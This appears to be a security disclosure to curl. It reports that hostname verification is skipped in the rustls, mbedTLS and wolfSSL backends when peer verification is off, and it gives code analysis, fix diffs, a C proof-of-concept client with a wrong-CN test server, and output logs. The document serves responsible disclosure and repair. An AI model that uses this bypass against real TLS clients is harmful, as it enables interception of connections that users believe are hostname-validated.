curl · Report #3734095
TLS verifyhost bypass in rustls, mbedTLS, and wolfSSL when verifypeer=0
How it was found
The now-well-known CURLOPT_SSL_VERIFYHOST-bypass-when-CURLOPT_SSL_VERIFYPEER=0 defect exists in three of curl's TLS backends: rustls (EXPERIMENTAL), mbedTLS, and wolfSSL (DNS hostnames only). The documented contract at docs/libcurl/opts/CURLOPT_SSL_VERIFYPEER.md:57-59:
The check that the host name in the certificate is valid for the hostname you are connecting to is done independently of the CURLOPT_SSL_VERIFYPEER(3) option.
Listed under "TLS-backend: All" with no caveats — the rustls EXPERIMENTAL status does not carve out an exception. The same class of defect was fixed for schannel in 889c071d3c (2022-12-08, "schannel: verify hostname independent of verify cert"). rustls, mbedTLS, and wolfSSL were not updated at that time, and no regression test enforces the invariant across backends.
Backend matrix at (verifypeer=0, verifyhost=2, wrong CN):
| Backend | Result | Reason |
|---|---|---|
| OpenSSL | CURLE_PEER_FAILED_VERIFICATION (correct) | ossl_verifyhost unconditional, lib/vtls/openssl.c:4776-4781 |
| GnuTLS | CURLE_PEER_FAILED_VERIFICATION (correct) | gnutls_x509_crt_check_hostname unconditional, lib/vtls/gtls.c:1824-1828 |
| schannel | CURLE_PEER_FAILED_VERIFICATION (correct) | !verifypeer && verifyhost routes to Curl_verify_host, lib/vtls/schannel.c:1473-1483 (fixed 889c071d3c) |
| wolfSSL (IP) | CURLE_PEER_FAILED_VERIFICATION (correct) | post-handshake wolfSSL_X509_check_ip_asc, lib/vtls/wolfssl.c:1758-1773 |
| rustls | CURLE_OK (bug) | no-op verifier replaces entire chain+hostname check |
| mbedTLS | CURLE_OK (bug) | BADCERT_CN_MISMATCH flag discarded by verify callback |
| wolfSSL (DNS) | CURLE_OK (bug) | CheckHostName silenced by WOLFSSL_VERIFY_NONE |
rustls (lib/vtls/rustls.c, EXPERIMENTAL)
Introducing commit: 43a56e34e1 (2021-02-26, "rustls: support CURLOPT_SSL_VERIFYPEER"). The install site at lib/vtls/rustls.c:1040-1043:
if(!conn_config->verifypeer) {
rustls_client_config_builder_dangerous_set_certificate_verifier(
config_builder, cr_verify_none);
}
The verifier at lib/vtls/rustls.c:381-389:
static uint32_t cr_verify_none(void *userdata,
const rustls_verify_server_cert_params *params)
{
(void)userdata;
(void)params;
return RUSTLS_RESULT_OK;
}
params->server_name (populated from the hostname passed to rustls_client_connection_new at :1097-1099) is dropped on the floor. In rustls' FFI, dangerous_set_certificate_verifier replaces the verifier entirely — there is no "still check hostname after success" hook — so once cr_verify_none is installed, no hostname check happens regardless of what SNI was set.
Minimal fix — fail loudly instead of silently accepting a forged cert:
if(!conn_config->verifypeer) {
+ if(conn_config->verifyhost) {
+ failf(data, "rustls: CURLOPT_SSL_VERIFYHOST requires "
+ "CURLOPT_SSL_VERIFYPEER to be set; the rustls backend "
+ "cannot perform a hostname-only check");
+ rustls_client_config_builder_free(config_builder);
+ return CURLE_SSL_CONNECT_ERROR;
+ }
rustls_client_config_builder_dangerous_set_certificate_verifier(
config_builder, cr_verify_none);
}
Proper fix: fetch the leaf cert via rustls_connection_get_peer_certificate(rconn, 0, ...) post-handshake and run it through lib/vtls/x509asn1.c's SAN/CN matcher — the same machinery ossl_verifyhost and Curl_cert_hostcheck (lib/hostcheck.c) use. schannel's Curl_verify_host in lib/vtls/schannel_verify.c:500 is the working template.
mbedTLS (lib/vtls/mbedtls.c)
The verify-flags callback at lib/vtls/mbedtls.c:456-459:
if(!conn_config->verifypeer)
*flags = 0;
else if(!conn_config->verifyhost)
*flags &= ~MBEDTLS_X509_BADCERT_CN_MISMATCH;
When verifypeer=0, every flag is cleared — including MBEDTLS_X509_BADCERT_CN_MISMATCH, which is the verifyhost result. The else if that preserves the CN check never fires. mbedTLS itself does the right work: the hostname is registered via mbedtls_ssl_set_hostname at lib/vtls/mbedtls.c:941-949, the chain check runs under MBEDTLS_SSL_VERIFY_REQUIRED at :839, the mismatch flag is set — and the curl callback then discards it. There is no out-of-band hostname check elsewhere, so the connection succeeds with a mismatched cert. This is strictly more permissive than the rustls case in the sense that mbedTLS actually detects the mismatch and curl throws the finding away.
Regression dates to 0b9fadf81f (2018-12-19); the current *flags = 0 shape was restated in 88cae145509 (2024-08-05). The contract has been broken on mbedTLS for ~6 years.
Fix:
- if(!conn_config->verifypeer)
- *flags = 0;
+ if(!conn_config->verifypeer) {
+ if(conn_config->verifyhost)
+ *flags &= MBEDTLS_X509_BADCERT_CN_MISMATCH;
+ else
+ *flags = 0;
+ }
else if(!conn_config->verifyhost)
*flags &= ~MBEDTLS_X509_BADCERT_CN_MISMATCH;
wolfSSL (lib/vtls/wolfssl.c, DNS hostnames only)
The verify-mode setting at lib/vtls/wolfssl.c:1402-1403:
wolfSSL_CTX_set_verify(wctx->ssl_ctx, conn_config->verifypeer ?
WOLFSSL_VERIFY_PEER : WOLFSSL_VERIFY_NONE, NULL);
paired with DNS-hostname registration at lib/vtls/wolfssl.c:1537-1542:
if(conn_config->verifyhost && connssl->peer.sni) {
if(wolfSSL_check_domain_name(wssl->ssl, connssl->peer.sni) !=
WOLFSSL_SUCCESS) {
return CURLE_SSL_CONNECT_ERROR;
}
}
wolfSSL_check_domain_name only registers the name into ssl->buffers.domainName; the actual CheckHostName runs inside wolfSSL's ProcessPeerCerts, which is silenced when ssl->options.verifyNone is set under WOLFSSL_VERIFY_NONE. The registration call returns success unconditionally at pre-handshake time, so verifypeer=0 silently drops the DNS check. This shape dates to 1394cad30f (2012-11-03, "SSL: Several SSL-backend related fixes") on the old CyaSSL backend, surviving every rename since.
For IP destinations wolfSSL is correct: the post-handshake block at lib/vtls/wolfssl.c:1758-1773 runs wolfSSL_X509_check_ip_asc directly on the peer cert, gated only on verifyhost && !peer.sni with no dependence on the verify mode (added in 692c7f133e, 2025-10-27). Applying the same pattern to DNS names:
+ if(ret == WOLFSSL_SUCCESS &&
+ !conn_config->verifypeer && conn_config->verifyhost &&
+ connssl->peer.sni) {
+ WOLFSSL_X509 *cert = wolfSSL_get_peer_certificate(wssl->ssl);
+ if(!cert) {
+ failf(data, "unable to get peer certificate");
+ return CURLE_PEER_FAILED_VERIFICATION;
+ }
+ if(wolfSSL_X509_check_host(cert, connssl->peer.sni,
+ strlen(connssl->peer.sni), 0, NULL)
+ != WOLFSSL_SUCCESS)
+ detail = DOMAIN_NAME_MISMATCH;
+ wolfSSL_X509_free(cert);
+ }
PoC
Note: curl --insecure cannot exercise this because it sets both VERIFYPEER=0 and VERIFYHOST=0 (src/config2setopts.c:393-396); the contract can only be tested at the libcurl API level.
openssl req -x509 -newkey rsa:2048 -keyout /tmp/wrongcn.key \
-out /tmp/wrongcn.crt -days 1 -nodes -subj "/CN=wrong.example.com"
openssl s_server -cert /tmp/wrongcn.crt -key /tmp/wrongcn.key \
-accept 28443 -www &
./F14_poc https://evil.test:28443/
Client (F14_poc.c):
/*
* F14 PoC: CURLOPT_SSL_VERIFYHOST bypass when CURLOPT_SSL_VERIFYPEER=0.
* Reproduces on rustls, mbedTLS, and wolfSSL (DNS destinations).
*
* Documented contract (CURLOPT_SSL_VERIFYPEER.md):
* "The check that the host name in the certificate is valid for the
* hostname you are connecting to is done independently of the
* CURLOPT_SSL_VERIFYPEER(3) option."
*
* Expected: curl_easy_perform() == CURLE_PEER_FAILED_VERIFICATION (60)
* Actual on buggy backends: curl_easy_perform() == CURLE_OK (0)
*
* Compare: rebuild against OpenSSL/GnuTLS/schannel — those return 60.
* wolfSSL IP variant (swap URL to https://127.0.0.1:28443/) also returns 60.
*/
#include <stdio.h>
#include <curl/curl.h>
static size_t devnull(void *p, size_t s, size_t n, void *u)
{
(void)p; (void)u;
return s * n;
}
int main(int argc, char **argv)
{
CURL *curl;
CURLcode rc;
struct curl_slist *resolve = NULL;
const char *url = (argc > 1) ? argv[1] : "https://evil.test:28443/";
curl_version_info_data *v = curl_version_info(CURLVERSION_NOW);
fprintf(stderr, "[poc] curl %s, ssl backend: %s\n",
v->version, v->ssl_version ? v->ssl_version : "(none)");
fprintf(stderr, "[poc] URL: %s\n", url);
fprintf(stderr, "[poc] CURLOPT_SSL_VERIFYPEER = 0 (trust chain off)\n");
fprintf(stderr, "[poc] CURLOPT_SSL_VERIFYHOST = 2 (hostname check on)\n");
curl_global_init(CURL_GLOBAL_DEFAULT);
curl = curl_easy_init();
resolve = curl_slist_append(NULL, "evil.test:28443:127.0.0.1");
curl_easy_setopt(curl, CURLOPT_RESOLVE, resolve);
curl_easy_setopt(curl, CURLOPT_URL, url);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 2L);
curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L);
curl_easy_setopt(curl, CURLOPT_TIMEOUT, 10L);
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, devnull);
rc = curl_easy_perform(curl);
fprintf(stderr, "\n[result] curl_easy_perform = %d (%s)\n",
rc, curl_easy_strerror(rc));
if(rc == CURLE_OK)
fprintf(stderr, "[result] BUG: TLS handshake succeeded despite "
"CN mismatch and verifyhost=2\n");
else if(rc == CURLE_PEER_FAILED_VERIFICATION)
fprintf(stderr, "[result] OK: correctly rejected with "
"CURLE_PEER_FAILED_VERIFICATION\n");
else
fprintf(stderr, "[result] other error: %d - re-check whether "
"TLS handshake actually completed\n", rc);
curl_slist_free_all(resolve);
curl_easy_cleanup(curl);
curl_global_cleanup();
return rc == CURLE_OK ? 1 : 0;
}
OpenSSL build (correct):
[poc] curl 8.21.0-DEV, ssl backend: OpenSSL/3.4.1
[poc] CURLOPT_SSL_VERIFYPEER = 0 (trust chain off)
[poc] CURLOPT_SSL_VERIFYHOST = 2 (hostname check on)
* SSL Trust: peer verification disabled
* Server certificate:
* subject: CN=wrong.example.com
* SSL: certificate subject name 'wrong.example.com' does not match target hostname 'evil.test'
* closing connection #0
[result] curl_easy_perform = 60 (SSL peer certificate or SSH remote key was not OK)
[result] OK: correctly rejected with CURLE_PEER_FAILED_VERIFICATION
rustls build (bug):
[poc] curl 8.21.0-DEV, ssl backend: rustls-ffi/0.15.0/rustls/0.23.25/aws-lc-rs
[poc] CURLOPT_SSL_VERIFYPEER = 0 (trust chain off)
[poc] CURLOPT_SSL_VERIFYHOST = 2 (hostname check on)
* rustls: handshake complete, TLSv1.3, ciphersuite: TLS13_AES_256_GCM_SHA384, key exchange group: X25519
* Established connection to 127.0.0.1 (127.0.0.1 port 28443) from 127.0.0.1 port 49990
* Connection #0 to host evil.test:28443 left intact
[result] curl_easy_perform = 0 (No error)
[result] BUG: TLS handshake succeeded despite CN mismatch and verifyhost=2
mbedTLS build (bug):
[poc] curl 8.21.0-DEV, ssl backend: Mbed TLS/3.6.x
[poc] CURLOPT_SSL_VERIFYPEER = 0 (trust chain off)
[poc] CURLOPT_SSL_VERIFYHOST = 2 (hostname check on)
* mbedTLS: Certificate verification without CA.
* Server certificate:
* subject: CN=wrong.example.com
* SSL connection using TLSv1.3 / TLS_AES_256_GCM_SHA384
[result] curl_easy_perform = 0 (No error)
[result] BUG: TLS handshake succeeded despite CN mismatch and verifyhost=2
wolfSSL build, DNS destination (bug):
[poc] curl 8.21.0-DEV, ssl backend: wolfSSL/5.7.x
[poc] CURLOPT_SSL_VERIFYPEER = 0 (trust chain off)
[poc] CURLOPT_SSL_VERIFYHOST = 2 (hostname check on)
* SSL connection using TLSv1.3 / TLS_AES_128_GCM_SHA256
[result] curl_easy_perform = 0 (No error)
[result] BUG: TLS handshake succeeded despite CN mismatch and verifyhost=2
wolfSSL build, IP destination (https://127.0.0.1:28443/) — correct: post-handshake wolfSSL_X509_check_ip_asc catches the mismatch and returns 60.
A backend-parametric tool test asserting CURLE_PEER_FAILED_VERIFICATION on (verifypeer=0, verifyhost=2, mismatched cert) across every enabled TLS backend would catch the whole cluster. The schannel fix landed in 2022 without such a test; that gap is why rustls, mbedTLS and wolfSSL drifted into the same shape undetected.
This is seemingly the same issue as CVE-2013-4545, but in different backends.
Cheers, Joshua
Impact
An application that disables CA verification (CURLOPT_SSL_VERIFYPEER=0) but keeps hostname checking enabled (CURLOPT_SSL_VERIFYHOST=2) — a documented-safe combination — silently connects to a server presenting a mismatched certificate on three of curl's TLS backends. The hostname check the docs guarantee runs independently does not run, so a connection a developer believes is hostname-validated is not.